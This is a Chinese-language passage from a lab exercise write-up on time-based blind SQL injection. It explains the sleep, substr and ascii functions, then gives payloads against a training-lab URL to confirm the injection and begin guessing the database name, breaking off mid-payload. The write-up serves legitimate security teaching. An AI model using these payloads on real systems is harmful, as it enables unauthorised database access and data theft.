一、原理
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
相关函数
length() => 返回(字符串)长度的数值
substr([],[A],[B]) => 返回[]值中,[A]开始[B]位后的字符值
ascii() => 通过数值返回(此处内容)的阿斯克码
sleep()
if(expr1.expr2,expr3) =>判断语句,第一个正确执行2,错误执行3
二、作业
(一) SQL注入-延时盲注 Rank 1
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1
任务:
通过延时注入获得flag。
对该页面进行GET传参,传参名为id
我们发现,在这个页面,无论传入怎样的参数,页面始终都不会变化,我们无法从页面变化得知数据库是否执行了我们的传参
-
通过sleep函数确定存在时间盲注
传入,等待四秒后页面才返回,确定存在盲注
" and sleep(4) -- qww
-
依次确定数据库名字
构造
http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and if(substr(database(),1,1)="k",sle